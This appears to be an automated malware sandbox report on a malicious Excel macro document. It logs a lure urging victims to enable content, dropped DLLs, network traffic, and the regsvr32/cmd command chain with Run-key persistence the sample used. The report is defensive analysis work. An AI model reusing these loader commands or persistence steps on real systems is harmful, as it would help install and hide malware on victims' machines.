Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://onedrive.live.com/embed?
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://outlook.office.com/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://outlook.office365.com/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://powerlift.acompli.net
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://settings.outlook.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://staging.cortana.ai
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://store.office.com/addinstemplate
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://store.officeppe.com/addinstemplate
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://tasks.office.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://templatelogging.office.com/client/log
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://webshell.suite.office.com
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://wus2.contentsync.
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 2CA63FBD-E4D0-4324-9237-CB578953FC60.0.dr	String found in binary or memory: https://www.odwebp.svc.ms

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747

Source: unknown	HTTPS traffic detected: 107.180.50.232:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.117.84.120:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.117.84.120:443 -> 192.168.2.6:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.117.84.120:443 -> 192.168.2.6:49750 version: TLS 1.2

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 8	Screenshot OCR: Enable editing " to unlock the editing document downloaded from the ir 13 " 14 PROTECTED VIEW Th
Source: Screenshot number: 8	Screenshot OCR: Enable content" to perform Microsoft Office Decryption Core to start : '8 the decryption of documen
Source: Screenshot number: 12	Screenshot OCR: Enable editing " to unlock the editing document downloaded from the ir 13 " 14 PROTECTED VIEW Th
Source: Screenshot number: 12	Screenshot OCR: Enable content" to perform Microsoft Office Decryption Core to start : '8 the decryption of documen
Source: Screenshot number: 16	Screenshot OCR: Enable editing " to unlock the editing document downloaded from the Internet. PROTECTED VIEW This f
Source: Screenshot number: 16	Screenshot OCR: Enable content" to perform Microsoft Office Decryption Core to start the decryption of document. E

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: Documents_13134976_1377491379.xlsb	Initial sample: CALL
Source: Documents_13134976_1377491379.xlsb	Initial sample: EXEC
Source: Documents_13134976_1377491379.xlsb	Initial sample: CALL

Office process drops PE file

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\iepfusn.dll			Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\rtdsgfe[1].dll			Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00007FFD696A6DAE
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00007FFD696B2254
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00007FFD696B8E18
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00007FFD696AF1F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00007FFD696B3508
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00007FFD696A1788
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00007FFD696A204C
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_00007FFD696A1284
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012D8D11
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012D4554
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012E02A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012D8282
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012D6537
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012D6118
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012D1517
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012DD57B
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012D8598
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012DE007
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012DFC4D
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012E0CE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012DA8E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012D2B26
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012D9F06
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012D3B01
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012D7F12
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012D5372
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012E26AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012DC6ED
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_012D5EF8
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_00007FFD69646DAE
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_00007FFD69652254
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_00007FFD69658E18
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_00007FFD6964F1F0
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_00007FFD69653508
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_00007FFD69641788
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_00007FFD6964204C
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_00007FFD69641284
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005C8282
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005D02A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005CFC4D
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005CE007
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005D0CE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005CA8E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005C4554
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005CD57B
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005C6118
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005C1517
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005C8D11
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005C6537
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005C8598
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005C5EF8
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005CC6ED
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005D26AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005C5372
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005C7F12
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005C9F06
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005C3B01
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_005C2B26
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_0045A8E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_00458282
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_004602A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_0045FC4D
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_00454554
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_0045C6ED
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_00460CE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_00455372
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_00455EF8
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_0045D57B
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_0045E007
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_00459F06
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_00453B01
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_00451517
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_00458D11
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_00457F12
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_00458598
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_00456118
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_00452B26
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_004626AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 18_2_00456537
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A202A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A12B26
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A16537
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A14554
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A226AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A13B01
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A18282
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A1E007
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A19F06
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A18D11
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A17F12
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A11517
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A18598
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A16118
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A1A8E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A20CE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A1C6ED
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A15372
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A15EF8
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A1D57B
Source: C:\Windows\System32\regsvr32.exe	Code function: 25_2_00A1FC4D
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FD6537
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FE02A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FD5EF8
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FDD57B
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FD5372
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FDC6ED
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FE0CE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FDA8E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FD4554
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FDFC4D
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FE26AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FD2B26
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FD8598
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FD6118
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FD1517
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FD8D11
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FD7F12
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FDE007
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FD9F06
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FD3B01
Source: C:\Windows\System32\regsvr32.exe	Code function: 26_2_00FD8282
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B76537
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B802A4
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B74554
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B72B26
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B826AC
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B71517
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B77F12
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B78D11
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B78598
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B76118
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B7E007
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B79F06
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B78282
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B73B01
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B75372
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B7D57B
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B75EF8
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B80CE8
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B7A8E0
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B7C6ED
Source: C:\Windows\System32\regsvr32.exe	Code function: 27_2_00B7FC4D

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\rtdsgfe[1].dll 67E54B44DAD909734A59DF457950C05727B7ECF387F1F37C38C18CEF5AF579C2
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\L3YD7CE.dll 67E54B44DAD909734A59DF457950C05727B7ECF387F1F37C38C18CEF5AF579C2
Source: Joe Sandbox View	Dropped File: C:\Users\user\iepfusn.dll 67E54B44DAD909734A59DF457950C05727B7ECF387F1F37C38C18CEF5AF579C2

Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSB@28/13@1/4

Source: C:\Windows\System32\regsvr32.exe

Code function: 5_2_012D4554 CreateToolhelp32Snapshot,Process32First,FindCloseChangeNotification,Process32Next,

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Mutant created: \Sessions\1\BaseNamedObjects\NFIRRWAVEQLJNKX7G17J1Q
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6988:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5680:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1808:120:WilError_01

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\{4F0D64AE-B9BF-48DC-A1ED-DB4CEC735B81} - OProcSessId.dat

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\System32\regsvr32.exe

File read: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\iepfusn.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe -s ..\iepfusn.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\cmd.exe cmd /c ping 8.8.7.7 -n 2 & start C:\Windows\system32\regsvr32.exe -s C:\Users\user\iepfusn.dll RV0KR
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 8.8.7.7 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe -s C:\Users\user\iepfusn.dll RV0KR
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\cmd.exe cmd /c ping 8.8.7.7 -n 2 & start C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll N8DG
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 8.8.7.7 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll N8DG
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\cmd.exe cmd /c ping 8.8.7.7 -n 2 & start C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 8.8.7.7 -n 2
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\system32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\system32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\iepfusn.dll
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe -s ..\iepfusn.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\cmd.exe cmd /c ping 8.8.7.7 -n 2 & start C:\Windows\system32\regsvr32.exe -s C:\Users\user\iepfusn.dll RV0KR
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 8.8.7.7 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe -s C:\Users\user\iepfusn.dll RV0KR
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\cmd.exe cmd /c ping 8.8.7.7 -n 2 & start C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll N8DG
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 8.8.7.7 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll N8DG
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\cmd.exe cmd /c ping 8.8.7.7 -n 2 & start C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 8.8.7.7 -n 2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Documents_13134976_1377491379.xlsb	Initial sample: OLE zip file path = xl/media/image1.png
Source: Documents_13134976_1377491379.xlsb	Initial sample: OLE zip file path = xl/media/image2.png
Source: Documents_13134976_1377491379.xlsb	Initial sample: OLE zip file path = xl/media/image3.png
Source: Documents_13134976_1377491379.xlsb	Initial sample: OLE zip file path = xl/media/image4.png
Source: Documents_13134976_1377491379.xlsb	Initial sample: OLE zip file path = xl/media/image5.png
Source: Documents_13134976_1377491379.xlsb	Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s ..\iepfusn.dll

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\iepfusn.dll	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OTUW0Q90\rtdsgfe[1].dll	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Users\user\AppData\Local\Temp\L3YD7CE.dll	Jump to dropped file

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\iepfusn.dll

Jump to dropped file

Boot Survival:

Creates an autostart registry key pointing to binary in C:\Windows

Show sources

Source: C:\Windows\System32\regsvr32.exe

Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run FX11S05YSR

Jump to behavior

Drops PE files to the user root directory

Show sources

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\iepfusn.dll

Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run FX11S05YSR			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run FX11S05YSR			Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX
